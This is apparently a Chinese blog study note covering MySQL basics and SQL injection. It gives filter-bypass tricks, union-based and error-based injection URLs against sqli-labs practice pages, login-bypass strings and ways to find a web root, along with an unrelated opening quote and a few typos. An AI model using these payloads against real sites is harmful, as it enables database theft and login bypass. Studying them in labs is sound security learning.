mysql 秀出两个相关联的表中满足条件的内容_某教程学习笔记(一):09、MYSQL数据库漏洞...

她其实并不喜欢你,只是在寂寞的时候,你刚好撞上去,刚好你对她好,刚好你能入她眼,刚好她来着不拒,这所有都是刚好。。。

---- 网易云热评

一、MYSQL语句

创建数据库

create database test;

选择要操作的数据库

user test

创建表

create table aiyou ( id int, username varchar(20), password varchar(30));

向表中插入数据

insert into aiyou values(1,'admin','456');

insert into aiyou values(2,'boss','123');

insert into aiyou values(3,'ttt','123'),(3,'qqq','321'');

24ff1f227201a986a6783af519cb6f39.png

显示aiyou表中的所有记录

select * from aiyou;

从aiyou表中查找满足条件id=1的记录

select * from aiyou where id=1;

从aiyou表中查找满足条件id=1的记录,并只显示username和password字段内容

select username,password from aiyou where id=1;

a7a25b7f1d18aacb500b1fd43332d7e9.png

从aiyou表中查找同时满足条件id=1以及username=“admin”的记录

select * from aiyou where id=1 and username="admin";

从aiyou表中查找同时满足条件id=1或者username=“boss”的记录

select * from aiyou where id=1 or username="boss";

267f672cd8383c2435e88ad160df069a.png

drop database test;删除数据库

drop table test;删除表格

update aiyou set password='111' where username='boss' 更新数据

delete from aiyou where username='boss'; 删除数据

select load_file('c:/111.txt'); 读文件

show databases; 显示当前数据库

show tables;显示选择的数据的所有表

122b1c1449ea3af0a6317d4633092fb0.png

show create table aiyou G;显示表结构的详细数据

describe 表名;显示表结构,大写可以自动补全

select database(); 显示当前数据库

select version() 显示数据库版本

select user() 显示当前用户

select now();显示当前时间

c6b310be3e591607c403ee41a9a7b1e9.png

select system_user();获取系统用户名

select current_user();获取当前用户名

select session_user();连接数据库的用户名

caeac8e54bd44047cb2f1f77d1da58ed.png

select @@datadir; 读取数据库路径

select @@basedir;mysql安装路径

select @@version_compile_os; 操作系统

a828eb90c88677955c9a489b57faf1c2.png

二、数据库连接

$dbhost = 'localhost'; // mysql服务器主机地址

$dbuser = 'root'; // mysql用户名

$dbpass = 'root'; // mysql用户名密码

$conn = mysqli_connect($dbhost, $dbuser, $dbpass);

if(! $conn )

{ die('Could not connect: ' . mysqli_error());

}

echo '数据库连接成功!';

mysqli_close($conn);

?>

三、防注入绕过

目标:http://www.aiyou .com?id=1

1、大小写绕过

http://www.aiyou .com?id=1 And 1=1

2、双写绕过

http://www.aiyou .com?id=1 aandnd 1=1

3、%00绕过

http://www.aiyou .com?id=1 a%00nd 1=1

四、手工注入

1、http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=1 返回正常

578ecbbec28d0f3c10945dba45f442b4.png

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 返回错误,说明存在注入

2eeea3f1ddbc343aaa9132b0c9c87b72.png

2、判断列数

http://192.168.21.140/sqli/Less-2/index.php?id=1 order by 3 返回正常,4返回返回错误,说明存在三列

a5e3037d751944d6a0407a85342bb8e9.png

3、联合查询

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,2,3 将2或3输入我们想要查询的内容

15f700b1a6847d45af93df3a61eafad0.png

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,version(),database(),获取当前数据库及数据库版本

8cc1db148ef7eacf595497c256ad8fe4.png

4、获取表名

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' 获取security数据库下的表名

f177bf98da34cd0439a8f4a2aa975790.png

5、获取列名

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' 获取users表下的列名

6d7f008860d923dcadeafa8a48acbe71.png

6、获取字段内容

http://192.168.21.140/sqli/Less-2/index.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from users

fa16b911f5b57d124d8c625a949cf549.png

五、报错注入

1、获取数据库用户

http://192.168.21.137/sqli/Less-1/index.php?id=1' union select 1 from (select count(*),concat(floor(rand(0)*2),(select user()limit 0,1))a from information_schema.tables group by a)b --+

96b395eaf2badcec0a0698517554004c.png

2、获取数据库名称

http://192.168.21.137/sqli/Less-1/index.php?id=1' union select 1 from (select count(*),concat(floor(rand(0)*2),(select database()limit 0,1))a from information_schema.tables group by a)b --+

http://192.168.21.137/sqli/Less-1/index.php?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

e54a028edb5bafd764732d1d55ea138e.png

3、获取当前数据库名称,返回的是一个十六进制,需要还原

http://192.168.21.137/sqli/Less-1/index.php?id=1' and (select 1 from(select count(*),concat((select(select concat(0x7e,0x27,hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

cd60ccc691203c2a5d807ad41310c6c0.png
d1d6f5df1963901c4bed0038bb18b379.png

4、获取表名

http://192.168.21.137/sqli/Less-1/index.php?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

f0952c4b46251874756f5f61fd60038e.png

5、获取字段

http://192.168.21.137/sqli/Less-1/index.php?id=1'and(select 1 from(select count(*),concat((select(select (select distinct concat(0x7e,0x27,column_name,0x27,0x7e) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 2,1))from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

f1c62ab029c7a255da773d419e219f25.png

6、获取字段内容

http://192.168.21.137/sqli/Less-1/index.php?id=1' and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,username,0x7e,password,0x27,0x7e) FROM users LIMIT 2,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

85f82c07ed397d06594c86c766d1c1d8.png

六、后台绕过

1、admin'#

2、admin' or 1=1 #

3、'or'='or'

4、admin' or '1'='1

5、admin' #

七、获取网站的根沐浴露

1、报错显示

2、site:目标网站 warning

3、遗留文件phpinfo

4、漏洞爆路径

5、读取配置文件

禁止非法,后果自负

欢迎关注公众号:web安全工具库

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值